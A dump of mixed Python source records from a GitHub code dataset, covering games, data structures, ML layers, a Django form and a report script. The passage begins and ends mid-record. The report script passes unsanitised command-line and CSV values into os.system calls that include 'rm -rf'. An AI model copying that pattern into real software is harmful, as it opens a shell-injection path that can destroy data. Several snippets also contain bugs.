hStructT.fromPy(None)\n    offset = 0\n    for f in hStructT.fields:\n        t = f.dtype\n        width = t.bit_length()\n        if f.name is not None:\n            s = sigOrVal[(width + offset):offset]\n            s = s._reinterpret_cast(t)\n            setattr(container, f.name, s)\n\n        offset += width\n\n    return container\n\n\n@internal\ndef reinterpret_bits_to_harray(sigOrVal, hArrayT):\n    elmT = hArrayT.elmType\n    elmWidth = elmT.bit_length()\n    a = hArrayT.fromPy(None)\n    for i, item in enumerate(iterBits(sigOrVal,\n                                      bitsInOne=elmWidth,\n                                      skipPadding=False)):\n        item = item._reinterpret_cast(elmT)\n        a[i] = item\n\n    return a\n\n\n@internal\ndef reinterpretBits__val(self, val, toType):\n    if isinstance(toType, HStruct):\n        return reinterpret_bits_to_hstruct(val, toType)\n    elif isinstance(toType, HUnion):\n        raise NotImplementedError()\n    elif isinstance(toType, HArray):\n        return reinterpret_bits_to_harray(val, toType)\n\n    return default_auto_cast_fn(self, val, toType)\n\n\n@internal\ndef reinterpretBits(self, sigOrVal, toType):\n    \"\"\"\n    Cast object of same bit size between to other type\n    (f.e. bits to struct, union or array)\n    \"\"\"\n    if isinstance(sigOrVal, Value):\n        return reinterpretBits__val(self, sigOrVal, toType)\n    elif isinstance(toType, Bits):\n        return fitTo_t(sigOrVal, toType)\n    elif sigOrVal._dtype.bit_length() == toType.bit_length():\n        if isinstance(toType, HStruct):\n            raise reinterpret_bits_to_hstruct(sigOrVal, toType)\n        elif isinstance(toType, HUnion):\n            raise NotImplementedError()\n        elif isinstance(toType, HArray):\n            reinterpret_bits_to_harray(sigOrVal, toType)\n\n    return default_auto_cast_fn(self, sigOrVal, toType)\n","repo_name":"abdo1819/hwt","sub_path":"hwt/hdl/types/bitsCast.py","file_name":"bitsCast.py","file_ext":"py","file_size_in_byte":3653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"73712008749","text":"a = int(input())\nb = int(input())\n\nmonth = [31,28,31,30,31,30,31,31,30,31,30,31]\n\nsum = 0\n\nfor i in range(0, a-2):\n    sum += month[i]\n\nsum += b\n\ns = sum%7\n\nif s == 4:\n    print('SAT')\nelif s ==5:\n    print('SUN')\nelif s ==6:\n    print('MON')\nelif s ==0:\n    print('TUE')\nelif s ==1:\n    print('WED')\nelif s ==2:\n    print('THU')\nelif s ==3:\n    print('FRI')\n","repo_name":"junwha0511/ALGOPY","sub_path":"2018/whatsday.py","file_name":"whatsday.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"24203493877","text":"import pygame as pg\nfrom states import BaseState\nfrom hand import Hand\nfrom deck import Deck\nfrom card import play_card_place_sound\nfrom table import render_table\nfrom chip import render_chip\nfrom constants import (\n    TEXT_LIGHT_COLOR,\n    ANTE_CHIP_POS,\n    PAIR_PLUS_CHIP_POS,\n    HAND_PLAYER_CARD_POS,\n    HAND_DEALER_CARD_POS,\n    HAND_PLAYER_RANKING_TEXT_POS,\n    GameState\n)\n\nDEAL_CARD_EVENT = pg.USEREVENT + 1\nDEAL_CARD_EVENT_DELAY = 750\n\nclass CardDrawingState(BaseState):\n    \"\"\"\n    Card-Drawing-Zustand.\n    Es werden Karten für Spieler und Dealer gezogen.\n    \"\"\"\n\n    def __init__(self) -> None:\n        \"\"\"\n        Konstruktor.\n        \"\"\"\n\n        super().__init__()\n\n        self.next_state = GameState.PLAY_OR_FOLD\n        self.font = pg.font.Font(None, 24)\n\n    def init(self, persistent_data: dict) -> None:\n        \"\"\"\n        Initialisiert anhaltende Daten beim Eintreten eines neuen Zustandes.\n        \"\"\"\n\n        super().init(persistent_data)\n\n        self.balance: int = self.persistent_data[\"balance\"]\n        self.ante: int = self.persistent_data[\"ante\"]\n        self.pair_plus: int = self.persistent_data.get(\"pair_plus\")\n        \n        self.deck = Deck()\n        self.player_hand = Hand()\n        self.dealer_hand = Hand()\n        \n        self.balance_text = self.font.render(f\"Guthaben: ${self.balance}\", True, TEXT_LIGHT_COLOR)\n        self.hand_ranking_text = None\n        self.hand_ranking_text_rect = None\n        \n        self.card_id = 0\n\n        pg.time.set_timer(DEAL_CARD_EVENT, DEAL_CARD_EVENT_DELAY)\n\n    def handle_event(self, event: pg.event.Event) -> None:\n        \"\"\"\n        Verarbeitet ein vom Spiel eingehendes Event.\n\n        Parameter:\n        - `event` (pg.event.Event) - Eingehendes Event.\n        \"\"\"\n\n        if event.type == pg.QUIT:\n            self.quit = True\n            return\n\n        if event.type == DEAL_CARD_EVENT:\n            card = self.deck.draw()\n\n            # Player-Hand\n            if self.card_id <= 2:\n                self.player_hand.add_card(card)\n\n            # Dealer-Hand\n            elif self.card_id <= 5:\n                self.dealer_hand.add_card(card)\n            \n            # Ende\n            else:\n                pg.time.set_timer(DEAL_CARD_EVENT, 0)\n                self.persistent_data[\"player_hand\"] = self.player_hand\n                self.persistent_data[\"dealer_hand\"] = self.dealer_hand\n                self.is_done = True\n                return\n\n            play_card_place_sound()\n            self.card_id += 1\n\n            # Hand-Ranking ermitteln und rendern \n            if len(self.player_hand.cards) == 3 and self.hand_ranking_text == None:\n                player_ranking_name = self.player_hand.get_ranking_name()\n                self.hand_ranking_text = self.font.render(player_ranking_name, True, TEXT_LIGHT_COLOR)\n                self.hand_ranking_text_rect = self.hand_ranking_text.get_rect(center=HAND_PLAYER_RANKING_TEXT_POS)\n\n    def render(self, screen: pg.Surface) -> None:\n        \"\"\"\n        Rendert die Elemente im Card-Drawing-Zustand.\n        \n        Parameter:\n        - `screen` (pg.Surface) - Bildschirm, auf den gerendert wird.\n        \"\"\"\n\n        render_table(screen)\n        render_chip(screen, self.ante, ANTE_CHIP_POS)\n\n        if self.pair_plus:\n            render_chip(screen, self.pair_plus, PAIR_PLUS_CHIP_POS)\n\n        screen.blit(self.balance_text, (50, 50))\n\n        if self.hand_ranking_text:\n            screen.blit(self.hand_ranking_text, self.hand_ranking_text_rect)\n\n        self.player_hand.render(screen, HAND_PLAYER_CARD_POS)\n        self.dealer_hand.render(screen, HAND_DEALER_CARD_POS, hidden=(True, True, True))","repo_name":"wgumenyuk/hdbw","sub_path":"ThreeCardPoker/ThreeCardPoker/states/card_drawing.py","file_name":"card_drawing.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"28371780684","text":"class Node():\n    def __init__(self, value) -> None:\n        self.next = None\n        self.data = value\n        \n        \nclass LinkedList():\n    head = None \n    size = 0 \n    \n    # addd value to the end of an array\n    def append(self,value):\n        newNode = Node(value)\n        \n        if self.head == None:\n            self.head = newNode\n        else:\n            pointer = self.head\n            while pointer.next is not None:\n                pointer = pointer.next\n            pointer.next = newNode\n        self.size += 1\n        \n    def prepend(self,value):\n        newNode = Node(value)\n        newNode.next = self.head\n        self.head = newNode\n        \n    \n    # display all the values in an array \n    def print_All_value(self):\n        if self.head == None:\n            print(\"Linked List is empty\")\n            return\n        else:\n            pointer = self.head\n            while pointer is not None:\n                print(f\"{pointer.data} \")\n                pointer = pointer.next\n    \n    # number of nodes in the list\n    def numberOfItems(self):\n        if self.head is None:\n            print(\"empty\")\n        else:\n            counter = 0\n            pointer = self.head\n            while pointer is not None:\n                counter += 1\n                pointer = pointer.next\n\n            print(\"Number of items is \" + str(counter))\n            return counter\n    \n    # Get head node \n    def start(self):\n        if self.head == None : return \"List is empty\"\n        start = f\"FIRST NODE == value : {self.head.data}  \"\n        return start\n    \n    # get tail node // last node\n    def tail(self):\n        if self.head == None : return \"List is empty\"\n        pointer = self.head\n        \n        while pointer.next is not None:\n            pointer = pointer.next\n        return f\"LAST NODE == value : {pointer.data} \"\n            \n        \nLL1 = LinkedList()\narr = [3,2,4,6,3,6,7,7,8,4,2]\n\nfor i in range(len(arr)):\n    LL1.append(arr[i])\n\nLL1.print_All_value()","repo_name":"HAM1112/DSA-in-python","sub_path":"LinkedList/linkedList.py","file_name":"linkedList.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"17341298404","text":"# This is not much faster (shall be for bigger range) than previous but short - execution time - 650ms\n# inputs 353096-843212\n\nimport re\n\ntotal = 0\nadjacents = re.compile(\"11|22|33|44|55|66|77|88|99|00\")\nfor number in range(353096, 843212 + 1):\n    digits = str(number)\n    if adjacents.search(digits) and sorted(digits) == list(digits):\n        total += 1\n        print(digits)\n\nprint(total)\n","repo_name":"pbmcckki/adventofcode2019","sub_path":"day4/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"35772167055","text":"import tensorflow as tf\nimport tensorflow_hub as hub\nimport tokenization\n\nvocab_file = bert_layer.resolved_object.vocab_file.asset_path.numpy()\ndo_lower_case = bert_layer.resolved_object.do_lower_case.numpy()\ntokenizer = tokenization.FullTokenizer(vocab_file, do_lower_case)\n\nclass BERT_Classifier():\n    pass\n\n\ndef bert_encode(texts, tokenizer, max_len=512):\n    all_tokens = []\n    all_masks = []\n    all_segments = []\n\n    for text in texts:\n        text = tokenizer.tokenize(text)\n\n        text = text[:max_len - 2]\n        input_sequence = [\"[CLS]\"] + text + [\"[SEP]\"]\n        pad_len = max_len - len(input_sequence)\n\n        tokens = tokenizer.convert_tokens_to_ids(input_sequence) + [0] * pad_len\n        pad_masks = [1] * len(input_sequence) + [0] * pad_len\n        segment_ids = [0] * max_len\n\n        all_tokens.append(tokens)\n        all_masks.append(pad_masks)\n        all_segments.append(segment_ids)\n\n    return np.array(all_tokens), np.array(all_masks), np.array(all_segments)\n\n\ndef build_model(bert_layer, max_len=512):\n    input_word_ids = tf.keras.Input(shape=(max_len,), dtype=tf.int32, name=\"input_word_ids\")\n    input_mask = tf.keras.Input(shape=(max_len,), dtype=tf.int32, name=\"input_mask\")\n    segment_ids = tf.keras.Input(shape=(max_len,), dtype=tf.int32, name=\"segment_ids\")\n\n    pooled_output, sequence_output = bert_layer([input_word_ids, input_mask, segment_ids])\n    clf_output = sequence_output[:, 0, :]\n    net = tf.keras.layers.Dense(64, activation='relu')(clf_output)\n    net = tf.keras.layers.Dropout(0.2)(net)\n    net = tf.keras.layers.Dense(32, activation='relu')(net)\n    net = tf.keras.layers.Dropout(0.2)(net)\n    out = tf.keras.layers.Dense(5, activation='softmax')(net)\n\n    model = tf.keras.models.Model(inputs=[input_word_ids, input_mask, segment_ids], outputs=out)\n    model.compile(tf.keras.optimizers.Adam(lr=1e-5), loss='categorical_crossentropy', metrics=['accuracy'])\n\n    return model\n","repo_name":"thiagordp/iac_exercises","sub_path":"final_project/src/modeling/bert_classification.py","file_name":"bert_classification.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"13972484971","text":"#!/usr/bin/python3.8\nfrom fpdf import FPDF\nimport os\nfrom os import listdir\nimport sys\nimport csv\nimport subprocess\nimport fnmatch\nfrom datetime import datetime, timedelta\n\n##FOR FILTER##\nimport glob\n\n##FOR SEPARATE##\nimport re\n\n\nDIR=\"/home/mriantf/script_skripsi\"\nWORKDIR=DIR+\"/REALTIME\"\nOUTPDF=WORKDIR+\"/OUTPUT_PDF\"\nSRC_IMG=WORKDIR+\"/OUTPUT\"\nfilecsvnya = WORKDIR+\"/data_list\"\nARCHV = WORKDIR+\"/ARCHIVE\"\nUNIQCODE = sys.argv[1]\ncsv_list = fnmatch.filter(os.listdir(WORKDIR+\"/data_list\"), UNIQCODE+\"*.csv\")\n#csv_list = listdir(WORKDIR+\"/data_list\")\n\nTITLE = ''\nPERIODIC = ''\nPDFNAME = ''\n\nTODAY = datetime.now()\ndatefile = TODAY.strftime(\"%Y%b%d_%H%M%S\")\n\n\n######################################\n########### LOOP FILE CSV ############\n######################################\nfor filecsv in csv_list:\n    pdf = FPDF('L','mm','Letter')\n\n    ###################################\n    ######### OPEN FILE CSV ###########\n    ###################################\n    with open (filecsvnya+'/'+filecsv) as csv_file:\n        csv_reader = csv.reader(csv_file, delimiter=';')\n        #line_count = 0\n        idx = 1\n\n        ###############################\n        ##### LOOP ROW CSV FILE #######\n        ###############################\n        for row in csv_reader:\n           # print(row)\n           # exit()\n            TITLE = row[1]\n            STARTDATE = row[2]\n            ENDDATE = row[3]\n            EMAIL = row[4]\n            PERIODIC = row[5]\n            PDFNAME = TITLE.replace(\" \", \"_\")\n            PDFNAMEFIX = PDFNAME.translate ({ord(c): \"_\" for c in '!@#$%^&*()[];:,.<>/?|`~-=_+\"'})\n            RRDTITLE = row[7]\n            RRDTITLE2 = RRDTITLE.replace(\" \", \"_\")\n            RRDTITLE3 = RRDTITLE2.replace(\"/\",\"-\")\n\n            filelist = fnmatch.filter(os.listdir(SRC_IMG+'/'), UNIQCODE+\"*\"+RRDTITLE3+\".png\")\n\n            for imglist in filelist:\n                path = SRC_IMG+'/'+imglist\n\n                #################################\n                ######### CREATE PDF ############\n                #################################\n                pdf.add_page()\n                pdf.set_font(\"Times\", size=15)\n                pdf.cell(250, 20, txt=TITLE, ln=1, align=\"C\")\n                pdf.cell(250, 2, \"From \"+str(STARTDATE)+\" - \"+str(ENDDATE), ln=2, align=\"C\")\n                pdf.ln(3)\n                pdf.cell(250, 10, txt=\"Periodic Graph Capture - per\"+PERIODIC, ln=1, align=\"C\")\n                pdf.cell(0, 20, str(idx) + '. Traffic Pemakaian ' + RRDTITLE, 0, 1)\n                pdf.ln(10)\n                # print (imglist)\n                pdf.image(path, 45, 65, 190, 80)\n                idx += 1\n        pdf.output(OUTPDF+'/'+UNIQCODE+\"_\"+PDFNAMEFIX+\".pdf\")\n\n        #################################\n        ######### SENT MAIL ############\n        ################################\n        PDFLIST = fnmatch.filter(os.listdir(OUTPDF+'/'), UNIQCODE+\"*.pdf\")\n        print(PDFLIST)\n        for PDFFILELIST in PDFLIST:\n           os.system(\"/usr/bin/bash \"+DIR+'/script/realtime_script/rtrunning_mail.sh ' +EMAIL+\" \"+PDFFILELIST+\" \"+UNIQCODE)\n           print(\"Moving \"+PDFFILELIST+\" to archive\")\n           os.system(\"mv \"+OUTPDF+'/'+PDFFILELIST+ \" \"+ARCHV+'/'+datefile+\"_\"+PDFFILELIST)\n           \n        print(\"Deleting data source \"+filecsv+\" ...\")\n        os.system(\"rm -rf \"+filecsvnya+'/'+filecsv)\n        print(\"Deleting png file from uniqcode \"+UNIQCODE)\n        os.system(\"rm -rf \"+SRC_IMG+'/'+UNIQCODE+\"*\")\n","repo_name":"mriantf9/script_cacti_side","sub_path":"realtime_script/realtime_pdf.py","file_name":"realtime_pdf.py","file_ext":"py","file_size_in_byte":3441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"16302315587","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n\nfrom django import forms\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom edw_fluent.plugins.block.models import BlockItem\n\n\nclass PublicationFileInlineForm(forms.ModelForm):\n    \"\"\"\n    Определяет форму и поля загрузчика файлов в публикациях\n    \"\"\"\n    AVAILABLE_CHOICES = (\n        (None, _(\"Default\")),\n    )\n\n    key = forms.ChoiceField(label=_(\"Info block\"), required=False, choices=AVAILABLE_CHOICES)\n    file_description = forms.CharField(label=_(\"Description\"), required=False)\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"\n        Конструктор класса\n        \"\"\"\n        super(PublicationFileInlineForm, self).__init__(*args, **kwargs)\n        entity = getattr(self, 'entity', None)\n        available_choices = list(self.AVAILABLE_CHOICES)\n        if entity and hasattr(entity, 'content'):\n            try:\n                for block in entity.content.contentitems.filter(instance_of=BlockItem):\n                    available_choices.append((int(block.pk), str(block.__str__())))\n            except ObjectDoesNotExist:\n                pass\n        self.fields['key'].choices = available_choices\n\n    def clean(self):\n        \"\"\"\n        Словарь проверенных и нормализованных данных формы загрузки файлов в публикациях\n        \"\"\"\n        cleaned_data = super(PublicationFileInlineForm, self).clean()\n\n        key = cleaned_data['key']\n        if key == '':\n            cleaned_data['key'] = None\n        return cleaned_data\n","repo_name":"infolabs/django-edw-fluent","sub_path":"edw_fluent/admin/forms/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"40011332134","text":"grootste = 0\nkleinste = 1000\naantal = 0\n\nfor x in range(10):\n    vraag = int(input('vul een getal in boven de 0 en onder de 1000:'))\n    if vraag > grootste:\n        grootste = vraag\n    if vraag < kleinste:\n        kleinste = vraag\n\nif vraag % 3 == 0:\n    aantal += 1\n        \n\nprint(grootste) \nprint(kleinste)\nprint(aantal)\n    \n\n","repo_name":"Mayonaise48/Python","sub_path":"uitleg/10getal.py","file_name":"10getal.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12417322722","text":"#https://tenderleo.gitbooks.io/leetcode-solutions-/content/GoogleMedium/286.html\nclass Solution:\n    def wallsAndGates(self, rooms):\n        for i in range(0, len(rooms)):\n            for j in range(0, len(rooms[i])):\n                #if we found a gate\n                if rooms[i][j] == 0:\n                    #intial count is 0 bc distance from gate to gate is 0\n                    self.dfs(i,j,0,rooms)\n    \n    #dfs search and update rooms based on distance from nearest gate\n    def dfs(self, i, j, count, rooms):\n        #check for out of bounds\n        #last check -> if we have already found a distance thats lower than count(new distance) then don't need to traverse\n            #since we're already found a shorter path to gate\n        if (i < 0 or i >= len(rooms) or j < 0 or j >= len(rooms[i]) or rooms[i][j] < count):\n            return\n        \n        #update distance to current vertex\n        rooms[i][j] = count\n        #call dfs on all 4 directions of rooms[i][j]\n        #make sure count passed is 1 more\n        self.dfs(i-1, j, count + 1, rooms)\n        self.dfs(i+1, j, count + 1, rooms)\n        self.dfs(i, j-1, count + 1, rooms)\n        self.dfs(i, j+1, count + 1, rooms)\n    \n    def print(self,rooms):\n        for row in rooms:\n            print(row)\n\ninf = float(\"inf\")\nrooms = [[inf, -1, 0, inf], [inf, inf, inf, -1], [inf, -1, inf, -1], [0, -1, inf, inf]]\nsolution = Solution()\n\nprint(\"Before ...\")\nsolution.print(rooms)\n\nsolution.wallsAndGates(rooms)\n\nprint(\"After ...\")\nsolution.print(rooms)\n","repo_name":"tirthsh/Coding_Practice_Questions","sub_path":"graphs/practice_questions/walls_gates_dfs.py","file_name":"walls_gates_dfs.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72501779881","text":"import pygame\nimport random\nfrom pygame.sprite import Sprite\n\n\nclass Explosion(Sprite):\n    # the class represents a single alien in the fleet\n\n    def __init__(self, settings, screen, position, explosion_type):\n        super(Explosion, self).__init__()\n        self.screen = screen\n        self.settings = settings\n        self.explosion_type = explosion_type\n        self.is_exploding = True\n        self.explosion_number = 0\n        self.ufo_points = round(random.randint(40, 200), -1)\n        self.image = pygame.image.load('sprites/Explosion' + str(self.explosion_number) + '.png')\n        self.rect = position\n\n        self.go = True\n        self.start_time = pygame.time.get_ticks()\n\n    def blitme(self):\n        # draw the alien in it's location\n        self.screen.blit(self.image, self.rect)\n\n    def update(self):\n        if self.explosion_type == 'ship':\n            time_variant = 10 * self.explosion_number\n            if self.go:\n                self.image = pygame.image.load('sprites/Explosion' + str(self.explosion_number) + '.png')\n            time = pygame.time.get_ticks()\n            if time > (time_variant + self.start_time):\n                self.go = True\n            else:\n                self.go = False\n            self.explosion_number += 1\n            if self.explosion_number > 11:\n                self.explosion_number = 0\n                self.is_exploding = False\n\n        if self.explosion_type == 'ufo':\n            time = pygame.time.get_ticks()\n            time_variant = 700\n            WHITE = (255, 255, 255)\n            font = pygame.font.SysFont(None, 50)\n            self.image = font.render(str(self.ufo_points), True, WHITE)\n            if time > (time_variant + self.start_time):\n                self.is_exploding = False\n\n        if self.explosion_type == 'alien':\n            time_variant = 10 * self.explosion_number\n            if self.go:\n                self.image = pygame.image.load('sprites/Explosion' + str(self.explosion_number) + '.png')\n            time = pygame.time.get_ticks()\n            if time > (time_variant + self.start_time):\n                self.go = True\n            else:\n                self.go = False\n            self.explosion_number += 1\n            if self.explosion_number > 4:\n                self.explosion_number = 0\n                self.is_exploding = False\n","repo_name":"brennantobin/Space-Invaders","sub_path":"explosion.py","file_name":"explosion.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4352194384","text":"import torch\nimport torch.nn as nn \nimport torch.nn.functional as F\n\n\nimport numpy as np\nimport random\n\nfrom torch.nn.modules.module import T\n\n\ndef default_conv(in_channels, out_channels, kernel_size, bias=True):\n    return nn.Conv2d(\n        in_channels, out_channels, kernel_size,\n        padding=(kernel_size // 2), bias=bias)\n\n\nclass invPixelShuffle(nn.Module):\n\n    def __init__(self, ratio=2):\n        super(invPixelShuffle, self).__init__()\n        self.ratio = ratio\n\n    def forward(self, tensor):\n        ratio = self.ratio\n        b = tensor.size(0)\n        ch = tensor.size(1)\n        y = tensor.size(2)\n        x = tensor.size(3)\n        assert x % ratio == 0 and y % ratio == 0, 'x, y, ratio : {}, {}, {}'.format(x, y, ratio)\n\n        return tensor.view(b, ch, y // ratio, ratio, x // ratio, ratio).permute(0, 1, 3, 5, 2, 4).contiguous().view(b, -1, y // ratio, x // ratio)\n\nclass ExtractFea(torch.nn.Module):\n    def __init__(self, channels):\n        super(ExtractFea, self).__init__()\n        self.channels = channels\n\n        self.conv1 = nn.Conv2d(in_channels=4, out_channels=self.channels, kernel_size=1, padding=0)\n        self.conv2 = nn.Conv2d(in_channels=self.channels, out_channels=self.channels, kernel_size=3, padding=1)\n        self.conv3 = nn.Conv2d(in_channels=self.channels, out_channels=self.channels, kernel_size=3, padding=1)\n        self.conv4 = nn.Conv2d(in_channels=self.channels, out_channels=self.channels, kernel_size=3, padding=1)\n\n    def forward(self, frame):\n        f0 = F.relu(self.conv1(frame))\n        f1 = F.relu(self.conv2(f0))\n        f2 = F.relu(self.conv3(f1))\n        out = self.conv4(f2)\n        # out = self.conv2(f0)\n        return out\n\nclass blockNL(torch.nn.Module):\n    def __init__(self, channels, fs):\n        super(blockNL, self).__init__()\n        self.channels = channels\n        self.fs = fs\n        # self.ExtractFea = ExtractFea(channels=self.channels)\n        self.softmax = nn.Softmax(dim=-1)\n\n        self.t = nn.Conv2d(in_channels=self.channels, out_channels=self.channels, kernel_size=1, stride=1, bias=False)\n        self.p = nn.Conv2d(in_channels=self.channels, out_channels=self.channels, kernel_size=1, stride=1, bias=False)\n        self.g = nn.Conv2d(in_channels=self.channels, out_channels=self.channels, kernel_size=1, stride=1, bias=False)\n        self.w = nn.Conv2d(in_channels=self.channels, out_channels=self.channels, kernel_size=1, stride=1, bias=False)\n\n    def forward(self, x):\n\n        # x_fea = self.ExtractFea(x)\n\n        x_fea = x\n\n        theta = self.t(x_fea).permute(0, 2, 3, 1)#.contiguous()#[b, c, h, w]#[b, h, w,c]\n        theta = torch.unsqueeze(theta, dim=-2)  # [b, h, w, 1, c]\n        # print(theta.size())\n\n        phi = self.p(x_fea)#[b, c, h, w]\n        b, c, h, w = phi.size()\n        phi_patches = F.unfold(phi, self.fs, padding=self.fs//2)#[b, c*fs*fs, hw]\n        phi_patches = phi_patches.view(b, c, self.fs * self.fs, -1)#[b, c, fs*fs, hw]\n        phi_patches = phi_patches.view(b, c, self.fs * self.fs, h, w)  #[b, c, fs*fs, h, w]\n        phi_patches = phi_patches.permute(0, 3, 4, 1, 2)#.contiguous()#[b, h, w, c, fs*fs]\n        # print(phi_patches.size())\n\n        att = torch.matmul(theta, phi_patches)# [b, h, w, 1, fs*fs]\n        att = self.softmax(att)# [b, h, w, 1, fs*fs]\n        # print(att.size())\n\n        g = self.g(x_fea) #[b, 3, h, w]\n        g_patches = F.unfold(g, self.fs, padding=self.fs // 2)#[b, 3*fs*fs, hw]\n        g_patches = g_patches.view(b, 4, self.fs * self.fs, -1)#[b, 3, fs*fs, hw]\n        g_patches = g_patches.view(b, 4, self.fs * self.fs, h, w)#[b, 3, fs*fs, h, w]\n        g_patches = g_patches.permute(0, 3, 4, 2, 1)#.contiguous()#[b, h, w, fs*fs, 3]\n        # print(g_patches.size())\n\n        out_x = torch.matmul(att, g_patches)  # [1, h, w, 1, 3]\n        out_x = torch.squeeze(out_x, dim=-2)# [1, h, w, 3]\n        out_x = out_x.permute(0, 3, 1, 2)#.contiguous()\n        # print(alignedframe.size())\n        return self.w(out_x) + x\n\n\n\nclass Conv_up(nn.Module):\n    def __init__(self, c_in, mid_c, up_factor):\n        super(Conv_up, self).__init__()\n\n        body = [nn.Conv2d(in_channels=c_in, out_channels=mid_c, kernel_size=3, padding=3 // 2), nn.ReLU(),\n                # nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, padding=3 // 2), nn.ReLU(),\n                # nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, padding=3 // 2), nn.ReLU(),\n                ]\n        self.body = nn.Sequential(*body)\n        conv = default_conv\n        ## x3 00\n        ## x2 11\n        if up_factor == 2:\n            modules_tail = [\n                # nn.ConvTranspose2d(64, 64, kernel_size=3, stride=up_factor, padding=1, output_padding=1),\n                nn.Upsample(scale_factor=2),\n                conv(mid_c, c_in,3),\n                conv(c_in, c_in, 3)]\n\n        elif up_factor == 3:\n            modules_tail = [\n                # nn.ConvTranspose2d(64, 64, kernel_size=3, stride=up_factor, padding=0, output_padding=0),\n                nn.Upsample(scale_factor=3),\n                conv(mid_c, c_in,3),\n                conv(c_in, c_in, 3)]\n\n        elif up_factor == 4:\n            modules_tail = [\n                # nn.ConvTranspose2d(64, 64, kernel_size=3, stride=2, padding=1, output_padding=1),\n                # nn.ConvTranspose2d(64, 64, kernel_size=3, stride=2, padding=1, output_padding=1),\n                nn.Upsample(scale_factor=4),\n                conv(mid_c, c_in,3),\n                conv(c_in, c_in, 3)]\n        self.tail = nn.Sequential(*modules_tail)\n\n    def forward(self, input):\n\n        out = self.body(input)\n        out = self.tail(out)\n        return out\n\n\nclass Conv_down(nn.Module):\n    def __init__(self, c_in,mid_c, up_factor):\n        super(Conv_down, self).__init__()\n\n        body = [nn.Conv2d(in_channels=c_in, out_channels=mid_c, kernel_size=3, padding=3 // 2), nn.ReLU(),\n                # nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, padding=3 // 2), nn.ReLU(),\n                # nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, padding=3 // 2), nn.ReLU(),\n                ]\n        self.body = nn.Sequential(*body)\n        conv = default_conv\n        if up_factor == 4:\n            modules_tail = [\n                # nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, padding=1, stride=2),\n                # nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, padding=1, stride=2),\n                nn.MaxPool2d(4),\n                conv(mid_c, c_in,3),\n                conv(c_in, c_in, 3)]\n\n        elif up_factor == 3:\n            modules_tail = [\n                # nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, padding=1, stride=up_factor),\n                nn.MaxPool2d(3),\n                conv(mid_c, c_in,3),\n                conv(c_in, c_in, 3)]\n\n        elif up_factor == 2:\n            modules_tail = [\n                # nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, padding=1, stride=up_factor),\n                nn.MaxPool2d(2),\n                conv(mid_c, c_in,3),\n                conv(c_in, c_in, 3)]\n        self.tail = nn.Sequential(*modules_tail)\n\n    def forward(self, input):\n\n        out = self.body(input)\n        out = self.tail(out)\n        return out\n\n\nclass att_spatial(nn.Module):\n    def __init__(self, res_num=2):\n        super(att_spatial, self).__init__()\n\n        block = [\n            ConvBlock(2, 32, 3, 1, 1, activation='prelu', norm=None, bias=False),\n        ]\n        for i in range(res_num):\n            block.append(ResnetBlock(32, 3, 1, 1, 0.1, activation='prelu', norm=None))\n        self.block = nn.Sequential(*block)\n        self.spatial = ConvBlock(2, 1, 3, 1, 1, activation='prelu', norm=None, bias=False)\n\n    def forward(self, x):\n        x = self.block(x)\n        x_compress = torch.cat([torch.max(x, 1)[0].unsqueeze(1), torch.mean(x, 1).unsqueeze(1)], dim=1)\n        x_out = self.spatial(x_compress)\n\n        scale = torch.sigmoid(x_out)  # broadcasting\n        return scale\n\n\nclass ConvBlock(torch.nn.Module):\n    def __init__(self, input_size, output_size, kernel_size=3, stride=1, padding=1, bias=True, activation='prelu', norm=None, pad_model=None):\n        super(ConvBlock, self).__init__()\n\n        self.pad_model = pad_model\n        self.norm = norm\n        self.input_size = input_size\n        self.output_size = output_size\n        self.kernel_size = kernel_size\n        self.stride = stride\n        self.padding = padding\n        self.bias = bias\n\n        if self.norm =='batch':\n            self.bn = torch.nn.BatchNorm2d(self.output_size)\n        elif self.norm == 'instance':\n            self.bn = torch.nn.InstanceNorm2d(self.output_size)\n\n        self.activation = activation\n        if self.activation == 'relu':\n            self.act = torch.nn.ReLU(True)\n        elif self.activation == 'prelu':\n            self.act = torch.nn.PReLU(init=0.5)\n        elif self.activation == 'lrelu':\n            self.act = torch.nn.LeakyReLU(0.2, True)\n        elif self.activation == 'tanh':\n            self.act = torch.nn.Tanh()\n        elif self.activation == 'sigmoid':\n            self.act = torch.nn.Sigmoid()\n        \n        if self.pad_model == None:   \n            self.conv = torch.nn.Conv2d(self.input_size, self.output_size, self.kernel_size, self.stride, self.padding, bias=self.bias)\n        elif self.pad_model == 